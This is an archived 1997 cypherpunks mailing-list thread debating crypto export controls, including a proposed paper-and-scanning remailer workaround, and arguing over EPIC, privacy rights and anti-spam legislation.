>	Snail-Fee: <Fee + 2c/sheet + postage stamp charge, digicash>
>	Scanning-Fee: <50c/sheet, digicash>
>	Request-Remailing-To: <cypherpunks@cyberpass.net>
>	Anon-Post-To: alt.cypherpunks

>   US volunteer strips off first two headers, prints out the document
>   in a large OCR friendly font.  Puts in envelope and posts at
>   highest priority snail that can be paid for out of the included
>   postage (overnight/air-mail/slow-boat).

>2. Non-US entrepreneur to scan and remail results

>	::
>	Scanning-Fee: <50c/sheet, digicash>
>	Request-Remailing-To: <cypherpunks@toad.com>
>	Anon-Post-To: alt.cypherpunks

>   US volunteer scans the sheets, mails/post them to the requested
>   email address/newsgroup, and collects his digicash fee per sheet.

>I volunteer for #2.  (You understand the importance of the
>Scanning-Fee, I can pay someone to feed sheets into a scanner if needs be
>with a fee, without that I can become overloaded with a ream of paper
>representing the binary for PGP5.0).

>Legal questions: I'd be interested in legal interpretations of whether
>the above scheme is legal for the US entrepreneur.  Peter Junger said a
>short while ago on the list that printed material could be exported under
>the EAR regulations administered by Commerce Dept.  Does this scheme
>qualify?

>Technical questions: If this is to include uuencoded or radix-64 mime
>encoding, we might want to think about redundancy to allow error
>correction.  Perhaps we want that anyway to ensure that what we have is
>100% character-by-character perfect.  Or perhaps not as it may damage the
>legality aspects.  They may start saying that you can only export human
>readable stuff on paper, etc.  Then we move on to `texto' apparently
>human readable steganographically encoded paper based remailer messages.

Hi Adam,

Why bother with all of this. If you want to export crypto then just do it.
As long as we keep up with this mickymouse approach to exports trying to
appease the FEDs who are acting unconstitutionaly on this matter things
will never change. Put up a web page or a ftp site with the crypto
binaries and let whomever wishes to download them download them.

I have done this and I will continue to do this dispite what the goons in
DC have to say about it.

We must all hang together or we will all hang.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 1 Jun 1997 00:22:03 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007800afb5dc075d18@[207.172.33.39]>
Message-ID: <Pine.GSO.3.95.970531090958.6950A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm now more awake than I was before, and a little less
flippant, so let me try to respond to Marc's statement
saying my summary of his "views on privacy below are
just silly."

The initial question has to be not how you protect rights,
but how you define them. For example, we have a right
to speak freely; there should be strict limits on
government controls on free expression or the press.
The state has unique powers of coercion. Similarly,
there should be strict limits on government collection
of personal data about its citizens.

But transactional privacy is a different matter. Sure,
we may generally agree that privacy is the famous
"right to be left alone," but how does that extend to
what happens when I make an affirmative choice to
connect to a web site that might record some info
about my visit -- as an alternative to charging me?
Nobody's forcing me to visit that site. That's why
I'm starting to come around to the idea that privacy
is not a universal right but a preference. We need a
market in privacy, not inflexible FTC rulemaking.

Oh, and the much-touted European Privacy Directive has
made it near-impossible to exchange employee
information between branches of the same firm that are
physically in different countries. Bad move,
Eurocrats.

-Declan



On Sat, 31 May 1997, Marc Rotenberg wrote:

> People who are interested in why I am pro-individual freedom
> but not anti-government should take a look a my piece in Wired
> "Eurocrats Do Good Privacy." [4.05]
> 
> I spent a year working for a good crypto policy at the OECD.
> During that time I watched European government officials
> argue for constitutional freedoms and against key escrow,
> while business representatives quietly backed the US
> GAK plan. Welcome to the real world.
> 
> Marc.
> 
> Btw - Declan's summary of our views on privacy below are
> just silly. Many of the greatest defenders of First Amendment
> freedoms have also felt most strongly about the right of
> privacy. The question is always how you protect rights.
> Perhaps libertarians would do away with all laws that protect
> personal freedoms. Bad call.
> 
> 
>  At 3:21 AM -0400 5/31/97, Declan McCullagh wrote:
> >Unfortunately, Tim is letting a rant get in the way of reality. A shame,
> >really, for he's capable of better. Let me respond. I may not be very
> >cordial. We lost tonight's soccer game (goddamn wimpy libertarians) and
> >went to some cheezy Crystal City sports bar afterwards. I just got back
> >home, and it's 3:20 am...
> >
> >Anyway, Rotenberg and EPIC are not the Uber Enemy. Rather, they disagree
> >with cypherpunk and libertarian positions on some issues. So we have
> >issue-by-issue alliances with them. Let's break it down:
> >
> >------------------------------
> >CRYPTO: EPIC takes a purist civil liberties approach to crypto. They've
> >been the ones criticizing the SAFE "crypto in crime" provisions. Did the
> >latest VTW alert sent out today even mention that portion of the bill, let
> >alone criticize it?
> >
> >ANONYMITY: No other group in DC is such a staunch supporter of online
> >anonymity publicly, though look for something from Cato soon. In fact, I
> >linked to EPIC's copy of the McIntyre decision for my Friday Netly piece.
> >Many business groups don't like anonymity online -- hurts the marketeers.
> >
> >FREE SPEECH: EPIC is co-counsel in ACLU lawsuit against CDA. I believe
> >they've said some of the anti-spam legislation is unconstitutional.
> >
> >FOIA: David Sobel does fabulous work snagging government documents the
> >spooks don't want released.
> >
> >PRIVACY: EPIC wants more Federal involvement to protect privacy and a
> >Federal Privacy Commission (or something similar). Lots of laws,
> >bureaucracies. Though EPIC does realize there's a First Amendment; other
> >privacy groups are even more aggressive. EPIC is of course on the side of
> >libertarians when it comes to government violations of privacy.
> >------------------------------
> >
> >From a libertarian perspective, EPIC is good on everything but privacy. On
> >that they want Big Government solutions.
> >
> >But that doesn't mean we reject and condemn what they do on other issues.
> >Do we reject Eagle Forum's anti-Clipper endorsement because they're a
> >bunch of ultraconservative wackos? Do we reject the National Organization
> >for Women's position on the CDA as bad because they're a bunch of
> >ultraliberal wackos? How about the National Association of Broadcaster's
> >amicus brief against the CDA? The Christian Coalition rejecting a national
> >ID cards and numbers? Ralph Nader wanting open access to government
> >databases?
> >
> >No. We don't. Instead, we address this issue by issue. EPIC and Rotenberg
> >are not always, but are often, our allies.
> >
> >-Declan
> >
> >
> >On Fri, 30 May 1997, Tim May wrote:
> >
> >>
> >> I suppose I am developing a reputation amongst the Inside the Beltway Cyber
> >> Rights Groups (tm) as a pain in the ass, but nearly everytime I see one of
> >> their chief spokeswonks giving a policy statement I realize they are "not
> >> on my side."
> >>
> >> The latest quote is from Marc Rotenberg, on a CNN piece on spam and
> >> anti-spam legislation, saying that what the legislators in Congress really
> >> need to look into is how the spammers develop their data bases.....
> >>
> >> Incredible. Does he propose investigations of private data gathering?
> >> Perhaps search warrants served on those who take public postings and
> >> construct data bases?
> >>
> >> Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
> >> realize the "spammers" are merely  taking publicly available (= legally
> >> available, as 99.99% of all such information is) information and using
> >> legal channels to contact me. I may not "like" it, but their behavior is as
> >> legal as someone calling me on the phone.
> >>
> >> (And ny nearly any measure of hassle factor, dashing to get to the phone
> >> only to find it's a salesman selling something I don't want is worse than
> >> any 20 unwanted e-mail messages.)
> >>
> >> So, Marc Rotenberg wants Congress to "look into" (= interfere with)
> >> compilation and use of public information.
> >>
> >> These people are NOT our allies.
> >>
> >> --Tim May
> >>
> >> There's something wrong when I'm a felon under an increasing number of laws.
> >> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> >> ---------:---------:---------:---------:---------:---------:---------:----
> >> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> >> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> >> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> >> Higher Power: 2^1398269     | black markets, collapse of governments.
> >> "National borders aren't even speed bumps on the information superhighway."
> >>
> >>
> >>
> >>
> >>
> 
> 
> 
> ==================================================================
> Marc Rotenberg, director                *   +1 202 544 9240 (tel)
> Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
> 666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org
> Washington, DC 20003   USA              +   http://www.epic.org
> ==================================================================
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 1 Jun 1997 00:38:04 +0800
To: cypherpunks@algebra.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102801afb561409260@[207.167.93.63]>
Message-ID: <v03102802afb5fd674225@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:10 AM -0700 5/31/97, Robert A. Costner wrote:

>I have not heard Rotenberg's statements on private collection of public data
>and spam, but I can make my own.
>
>
>At 10:13 PM 5/30/97 -0700, Tim May wrote:
>>The latest quote is from Marc Rotenberg, on a CNN piece on spam and
>>anti-spam legislation, saying that what the legislators in Congress really
>>need to look into is how the spammers develop their data bases.....
>...
>>Incredible. Does he propose investigations of private data gathering?
>
>I'd agree here.  Rather than have Congress blindly pass a law, some
>investigation of the matter should be done first.  While I am not
>supporting a
>law, any such law should have three parts:

Even better: "Congress shall make no law..."

Not _some_ law, but *no* law.

The compilation of records, files, dossiers, gossip, etc., is a clearly
protected First Amendment (and probably Fourth, against search and seizure)
activity.

(Now if I break into your house to Xerox your papers to add to my dossiers,
this is not permitted, unless I am with one of the government's secret
police agencies.)


>As for investigations into data gathering, I've been doing that for some
>time.
> It has educated me, and would no doubt educate congress.  Two years ago, I
>spoke with the president of Pro-CD, a popular CD-phonebook company.  I asked
>him why unlisted numbers are not on the CD's, and why so few fax numbers are
>on the CD's.  This information is readily available.  He said that only
>previous published collections are republished by him.  What spammers are
>doing is invasive in that they are collecting the information for the first
>time.

"Invasive"? We have to be careful here. There are two main senses of
"invasive":

"invasive - something I don't like."

"invasive - an illegal violation of my rights."

I may find it invasive when a bum asks me for spare change, but it is not
illegal (anti-begging laws are unconstitutional, obviously).



>>I may not "like" it, but their behavior is as legal as someone
>>calling me on the phone.
>
>I'll agree with you to some degree.  After all, it *IS* ILLEGAL for
>someone to
>call you on the phone for the equivalent of spam, many people would like
>email
>spam to be just as illegal.  However there are loopholes in the law that
>allow

If it is "ILLEGAL" (your emphasis) for someone to call me on the phone for
spamming, why then do I get so many such calls? Why aren't the prisons full?

(Answer: Because it is NOT illegal for people to call me, or for me to call
others, or for me to even call thousands of others. True, it is possible
for me (I disagree with these laws, though, and cite the First again) for
me to _ask_ that they not call me. Maybe even jump through hoops and get an
injunction. )

There are laws on the books which prohibit fully automated calls with no
humans in the loop, but these are easily bypassed. (E.g., the boiler-room
minimum wage employees in Detroit and Chicago who pick up the phone several
seconds after I have picked up and then start a barely understandable
spiel...I've prettty much taken to hanging up if no human voice appears
within the first couple of seconds, as I know I am being handed off to the
next available "human.")


>email to be sent under the same circumstances.  State laws, and the federal
>law have provisions such as time ranges calls can be made (daytime hours
>only), prohibitions on the use of automated equipment, removal lists, and
>call
>destinations absolutely prohibited (hospitals, emergency numbers).

And I disagree with most of these laws, as being state intrusion into
communication. There are other solutions besides more laws.

>Pick up any metropolitan newspaper.  Count the number of classified ads on
>any
>given day.  Spam is cheaper and reaches more people.  Would you like to see
>this number of spams in you mail box?  Will you honestly say that 500-1000
>spams in your mailbox is simply annoying?  Multiply this by the number of
>newspapers in the US.

Your point being?

Any laws forbidding spam generation in the U.S. will simply (or already)
move the spam-originating sites offshore. Then what happens? Is my ISP
supposed to screen international messages for me? Do we get the
U.N./OECD/Interpol/Illuminati to "regularize" anti-spam laws in all 197
recognized nations?

The "500 messages a day" problem will be solved through other means.  It
has to be. Laws are insufficient, and wrong-headed, solutions for speech
issues.


>
>The manner in which the information is collected is invasive.  People feel
>their privacy is being violated.  The right to be left alone is a fundamental

I don't give a goddamned shit what "people feel" one way or another. People
"feel" there ought to be a _lot_ of laws, especially for other people. So?

It's sad to see a leader of Electronic Frontiers-Georgia making these lame
arguments about why more laws are needed.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 31 May 1997 17:02:10 +0800
To: cypherpunks@cyberpass.net
Subject: legal EAR work-around/Paper based remailers
Message-ID: <199705310853.JAA00659@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



EAR says that you can't export crypto in electronic form.  EAR says
you can export crypto in textual form.  We have electronic cash in
terms of MT banks digicash.  Email is more convenient for exporting
crypto source code and binaries that snail mail.

Let's do it.

Here's what we need:

1. US entrepreneur to accept mail with 

	::
	Snail-To: <street address (outside US)>
	Snail-Fee: <Fee + 2c/sheet + postage stamp charge, digicash>
	Scanning-Fee: <50c/sheet, digicash>
	Request-Remailing-To: <cypherpunks@cyberpass.net>
	Anon-Post-To: alt.cypherpunks

   US volunteer strips off first two headers, prints out the document
   in a large OCR friendly font.  Puts in envelope and posts at
   highest priority snail that can be paid for out of the included
   postage (overnight/air-mail/slow-boat).

2. Non-US entrepreneur to scan and remail results

	::
	Scanning-Fee: <50c/sheet, digicash>
	Request-Remailing-To: <cypherpunks@toad.com>
	Anon-Post-To: alt.cypherpunks

   US volunteer scans the sheets, mails/post them to the requested
   email address/newsgroup, and collects his digicash fee per sheet.

I volunteer for #2.  (You understand the importance of the
Scanning-Fee, I can pay someone to feed sheets into a scanner if needs
be with a fee, without that I can become overloaded with a ream of
paper representing the binary for PGP5.0).

Legal questions: I'd be interested in legal interpretations of whether
the above scheme is legal for the US entrepreneur.  Peter Junger said
a short while ago on the list that printed material could be exported
under the EAR regulations administered by Commerce Dept.  Does this
scheme qualify?

Technical questions: If this is to include uuencoded or radix-64 mime
encoding, we might want to think about redundancy to allow error
correction.  Perhaps we want that anyway to ensure that what we have
is 100% character-by-character perfect.  Or perhaps not as it may
damage the legality aspects.  They may start saying that you can only
export human readable stuff on paper, etc.  Then we move on to `texto'
apparently human readable steganographically encoded paper based
remailer messages.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Sat, 31 May 1997 22:10:00 +0800
To: tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102801afb561409260@[207.167.93.63]>
Message-ID: <v03007800afb5dc075d18@[207.172.33.39]>
MIME-Version: 1.0
Content-Type: text/plain




People who are interested in why I am pro-individual freedom
but not anti-government should take a look a my piece in Wired
"Eurocrats Do Good Privacy." [4.05]

I spent a year working for a good crypto policy at the OECD.
During that time I watched European government officials
argue for constitutional freedoms and against key escrow,
while business representatives quietly backed the US
GAK plan. Welcome to the real world.

Marc.

Btw - Declan's summary of our views on privacy below are
just silly. Many of the greatest defenders of First Amendment
freedoms have also felt most strongly about the right of
privacy. The question is always how you protect rights.
Perhaps libertarians would do away with all laws that protect
personal freedoms. Bad call.


 At 3:21 AM -0400 5/31/97, Declan McCullagh wrote:
>Unfortunately, Tim is letting a rant get in the way of reality. A shame,
>really, for he's capable of better. Let me respond. I may not be very
>cordial. We lost tonight's soccer game (goddamn wimpy libertarians) and
>went to some cheezy Crystal City sports bar afterwards. I just got back
>home, and it's 3:20 am...
>
>Anyway, Rotenberg and EPIC are not the Uber Enemy. Rather, they disagree
>with cypherpunk and libertarian positions on some issues. So we have
>issue-by-issue alliances with them. Let's break it down:
>
>------------------------------
>CRYPTO: EPIC takes a purist civil liberties approach to crypto. They've
>been the ones criticizing the SAFE "crypto in crime" provisions. Did the
>latest VTW alert sent out today even mention that portion of the bill, let
>alone criticize it?
>
>ANONYMITY: No other group in DC is such a staunch supporter of online
>anonymity publicly, though look for something from Cato soon. In fact, I
>linked to EPIC's copy of the McIntyre decision for my Friday Netly piece.
>Many business groups don't like anonymity online -- hurts the marketeers.
>
>FREE SPEECH: EPIC is co-counsel in ACLU lawsuit against CDA. I believe
>they've said some of the anti-spam legislation is unconstitutional.
>
>FOIA: David Sobel does fabulous work snagging government documents the
>spooks don't want released.
>
>PRIVACY: EPIC wants more Federal involvement to protect privacy and a
>Federal Privacy Commission (or something similar). Lots of laws,
>bureaucracies. Though EPIC does realize there's a First Amendment; other
>privacy groups are even more aggressive. EPIC is of course on the side of
>libertarians when it comes to government violations of privacy.
>------------------------------
>
>From a libertarian perspective, EPIC is good on everything but privacy. On
>that they want Big Government solutions.
>
>But that doesn't mean we reject and condemn what they do on other issues.
>Do we reject Eagle Forum's anti-Clipper endorsement because they're a
>bunch of ultraconservative wackos? Do we reject the National Organization
>for Women's position on the CDA as bad because they're a bunch of
>ultraliberal wackos? How about the National Association of Broadcaster's
>amicus brief against the CDA? The Christian Coalition rejecting a national
>ID cards and numbers? Ralph Nader wanting open access to government
>databases?
>
>No. We don't. Instead, we address this issue by issue. EPIC and Rotenberg
>are not always, but are often, our allies.
>
>-Declan
>
>
>On Fri, 30 May 1997, Tim May wrote:
>
>>
>> I suppose I am developing a reputation amongst the Inside the Beltway Cyber
>> Rights Groups (tm) as a pain in the ass, but nearly everytime I see one of
>> their chief spokeswonks giving a policy statement I realize they are "not
>> on my side."
>>
>> The latest quote is from Marc Rotenberg, on a CNN piece on spam and
>> anti-spam legislation, saying that what the legislators in Congress really
>> need to look into is how the spammers develop their data bases.....
>>
>> Incredible. Does he propose investigations of private data gathering?
>> Perhaps search warrants served on those who take public postings and
>> construct data bases?
>>
>> Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
>> realize the "spammers" are merely  taking publicly available (= legally
>> available, as 99.99% of all such information is) information and using
>> legal channels to contact me. I may not "like" it, but their behavior is as
>> legal as someone calling me on the phone.
>>
>> (And ny nearly any measure of hassle factor, dashing to get to the phone
>> only to find it's a salesman selling something I don't want is worse than
>> any 20 unwanted e-mail messages.)
>>
>> So, Marc Rotenberg wants Congress to "look into" (= interfere with)
>> compilation and use of public information.
>>
>> These people are NOT our allies.
>>
>> --Tim May
>>
>> There's something wrong when I'm a felon under an increasing number of laws.
>> Only one response to the key grabbers is warranted: "Death to Tyrants!"
>> ---------:---------:---------:---------:---------:---------:---------:----
>> Timothy C. May              | Crypto Anarchy: encryption, digital money,
>> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>> Higher Power: 2^1398269     | black markets, collapse of governments.
>> "National borders aren't even speed bumps on the information superhighway."
>>
>>
>>
>>
>>



==================================================================
Marc Rotenberg, director                *   +1 202 544 9240 (tel)
Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org
Washington, DC 20003   USA              +   http://www.epic.org
==================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sat, 31 May 1997 22:25:48 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03102801afb561409260@[207.167.93.63]>
Message-ID: <3.0.2.32.19970531101055.00789c88@keystone.intergate.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I have not heard Rotenberg's statements on private collection of public data 
and spam, but I can make my own.


At 10:13 PM 5/30/97 -0700, Tim May wrote:
>The latest quote is from Marc Rotenberg, on a CNN piece on spam and
>anti-spam legislation, saying that what the legislators in Congress really
>need to look into is how the spammers develop their data bases.....
...
>Incredible. Does he propose investigations of private data gathering?

I'd agree here.  Rather than have Congress blindly pass a law, some 
investigation of the matter should be done first.  While I am not supporting a 
law, any such law should have three parts:

 a) Codification
 b) Rulemaking
 c) Further Investigation

Codification is actual law, and takes a lot of agreement and about two years 
to change.  Rules are created by an agency and take about 120 to change.  
Investigation allows the clueless and unknowing to study the impact of the law 
and whether or not the law, and less or stronger provisions are appropriate.  
Take one simple provision as an example, tagging of commercial spam.  One less 
enlightened bill proposes that the subject line always begin with the word 
"Advertisement".  A better solution would be to a) codify the principle, not 
the method.  "All spam must be tagged."  b) Allow rules to be created that 
describe the tagging process (for example an X-header or subject line.  The 
use of "Ad:" instead of the full word) c) Allow the agency involved to perform 
a study to see if the rulemaking worked, if not then change the rule.

As for investigations into data gathering, I've been doing that for some time. 
 It has educated me, and would no doubt educate congress.  Two years ago, I 
spoke with the president of Pro-CD, a popular CD-phonebook company.  I asked 
him why unlisted numbers are not on the CD's, and why so few fax numbers are 
on the CD's.  This information is readily available.  He said that only 
previous published collections are republished by him.  What spammers are 
doing is invasive in that they are collecting the information for the first 
time.

>I may not "like" it, but their behavior is as legal as someone 
>calling me on the phone.

I'll agree with you to some degree.  After all, it *IS* ILLEGAL for someone to 
call you on the phone for the equivalent of spam, many people would like email 
spam to be just as illegal.  However there are loopholes in the law that allow 
email to be sent under the same circumstances.  State laws, and the federal 
law have provisions such as time ranges calls can be made (daytime hours 
only), prohibitions on the use of automated equipment, removal lists, and call 
destinations absolutely prohibited (hospitals, emergency numbers).

For good or for bad, the current movement in lawmaking is to plug these 
loopholes that exist for email.

>Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day.

Then you miss the point.  For all practical purposes, the spam industry does 
not exist in the US.  There are one or two, perhaps a dozen companies doing 
this as a full time endevour.  We are not close to spam companies matching the 
number of radio stations, or even newspapers.  We do not even envision the 
concept of the number of spammers equaling the number of lawyers.  The current 
spam bills are meant to address the actions of about five people in the entire 
United States.

Pick up any metropolitan newspaper.  Count the number of classified ads on any 
given day.  Spam is cheaper and reaches more people.  Would you like to see 
this number of spams in you mail box?  Will you honestly say that 500-1000 
spams in your mailbox is simply annoying?  Multiply this by the number of 
newspapers in the US.   

The manner in which the information is collected is invasive.  People feel 
their privacy is being violated.  The right to be left alone is a fundamental 
right.  While some spammers may feel they have a right to speak, they have no 
right to be heard.  They do not have a right to force me to listen.  The cost 
shifting problem also needs to be addressed.

Current spam bills are based on CONTENT of the spam message.  Another way to 
address the problem is to look at the data collection issue.  A third method 
is to address the headers.

Data collection is currently being done on an opt-out basis.  Opt-in is 
thought by many to be preferable.

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM5Axa0GpGhRXg5NZAQEJEgIAoKPhLODYtbmqrSTZ2bUd43gKvpt1XLxs
TwzpRAb/yZWvmeurXpJ9YAKjFfGxvpkxQ6iX1ButM1NcrULYnmVSdw==
=RSAd
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sat, 31 May 1997 23:25:53 +0800
To: Marc Rotenberg <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <Pine.GSO.3.95.970531031700.9128C-100000@cp.pathfinder.com>
Message-ID: <3.0.2.32.19970531111335.00722e6c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:59 AM 5/31/97 -0400, Marc Rotenberg wrote:

>Btw - Declan's summary of our views on privacy below are
>just silly. Many of the greatest defenders of First Amendment
>freedoms have also felt most strongly about the right of
>privacy. The question is always how you protect rights.
>Perhaps libertarians would do away with all laws that protect
>personal freedoms. Bad call.

Of course the beloved Eurocratic method of protecting privacy in the computer 
age is to require registration of all computers and databases which store 
discrete information about individuals.

Register Communists Not Computers!*

DCF

*Just kidding.  Commies shouldn't have to register either.


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=zUYB
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 1 Jun 1997 00:45:01 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <Pine.GSO.3.95.970531090958.6950A-100000@well.com>
Message-ID: <199705311633.LAA21181@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970531090958.6950A-100000@well.com>, on 05/31/97 
   at 09:12 AM, Declan McCullagh <declan@well.com> said:

>Oh, and the much-touted European Privacy Directive has
>made it near-impossible to exchange employee
>information between branches of the same firm that are
>physically in different countries. Bad move,
>Eurocrats.

I think that looking towards Europe on issues of Civil Liberties is the
sillist of notions. The Big 3 players in Europe (UK,Germany,France)
wouldn't have a clue how to operate in a free and open society the smaller
players are even worse.

We have right now in Europe the universal embracement of
Socialism/Communisim/Statism at the same time that Eastern Europe & the
former Soviet Empire are struggling towards Democracy & Freedom.

Anyone who can point towards the actions of the Eurocrats as an example of
how we should go does not have the intrest of Freedom & Liberty for the
citizens at hart.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 1 Jun 1997 02:53:54 +0800
To: cypherpunks@algebra.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <Pine.GSO.3.95.970531090958.6950A-100000@well.com>
Message-ID: <v03102803afb61b594b27@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:58 AM -0700 5/31/97, Mac Norton wrote:

>Is one of the questions, whether we have right to take steps
>to protect our "transactional" privacy?  The Brandeis and Warren
>"right to be left alone" shares a connection with property rights
>and has more than a nodding acquaintance with Fourth and Fifth
>Amendment concepts--there's not much utility in a right to be
>left alone if you have no place to be alone or if others can
>enter your place/space at will.

Indeed. And the First and Fourth, amongst other provisions, says that
government may not interfere with efforts to produce secure and private
"zones" or "spaces."

The First, in that one can _whisper_ or speak in _strange languages_.

Or freely associate with persons of one's choosing. ("assemble peaceably")

The Fourth, in that these meetings, or homes, or whatever, are free from
unreasonable searches and seizures.

(And there's the one about quartering troops...another statement of the
"right to create a private zone." Not a generalized right of privacy, in
the sense the Rotenberg's and anti-spam legislators speak of, but a right
to bar the door, shut the curtains, turn off the phone, disconnect  the
computer, and refuse to exchange information with others.)

>Off your space ("in public") you can usually be observed; much
>of the complaining in the past couple of decades is about the
>increasingly sophisticated, even automated, means of observation
>and recording, not about the fact that if you enter a premise
>(say, a website:)) you can be seen and overheard by other people.

And while many of us don't always _like_ being observed when we are in
public, or having our words catalogged in Deja News data bases, or even
having friends remind of things we once did or said, the law should have
nothing to say about these "rememberances."

(The Founders would snort and gasp were they to hear that the government
would be legislating what people could remember, what things they could
write down, what gossip they could pass on, and so on. Seems to me that
gossip and diaries are pretty clearly protected First Amendment activities.
If gossip turns into libel or slander--not that I personally agree with
even libel and slander laws, but this is another topic--then the redress
should be in civil court for the specific acts of libel or slander, not any
kind of general restrictions or licensing on gossip and remembering. This
seems to be a slam dunk First Amendment issue. Sadly, the creep of laws has
never produced an adequate case to be overturned, I surmise.)


>It seems to me this is a question of degree, and not a threat
>to some pre-existing right to remain anonymous and "unseen"
>in public. In other words, is there a right to forbid others
>from trying to observe you in public, especially in places
>where those others have an equal (or greater) right to be?

There clearly cannot be laws which forbid such observations (or
"rememberances," as I have been calling them). To forbid such
rememberances, to forbid the keeping of diaries recording the activities
and words of others, to legislate whom such rememberances may be relayed
to....arghhh! Such laws are a gross violation of the First and other
Amendments.


>So the question may be not whether we can prohibit others from
>doing so, by right, but whether we have right to attempt
>peacefully to *prevent* them from doing so?  I.e., can the
>gov't forbid us from trying to protect our privacy by avaliable
>means, say, crypto?

I've always felt the strongest argument for complete and total freedom to
use any and all cryptography is the First Amendment freedom to speak as one
wishes without prior restraint. A cipher or code is just that, a _code_.
Like speaking in French amongst other people who don't understand French,
or using hand signals, or using a code book. Or whispering.

As Ken Dam has said, we have the freedom to whisper in the ear of another;
we have the same right to "whisper" over telephone or computer lines. (This
great metaphor is usually attributed to Phil Zimmermann, but he told me he
heard this from Ken Dam, the Washington area attorney.)

As Cypherpunks, we understand that these "rights to privacy" are really
about the ability to make private spaces, not some rights conferred by a
magnanimous government.

The anti-spam legislation now being proposed is profoundly unconstitutional.

We haven't been discussing this much, but one of the main provisions of
some of the proposed laws is the requirement that all e-mail have a clearly
defined return address. This would likely be thrown out by the Supremes,
pace the 1956 decision on anonymous political speech. Ditto for "spam" laws
in general. And "campaign reform" laws, too. Canada is trying to get Web
page political comments banned, and anonymous endorseements or critiques
banned. This is the fever swamp one gets into if the First Amendment is
finessed in any way.

Straight rejection of any laws restrictiing speech or freedom of assembly
or protection from search and seizure is the only way to go. Talk of
"compromise" is a mistake.

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








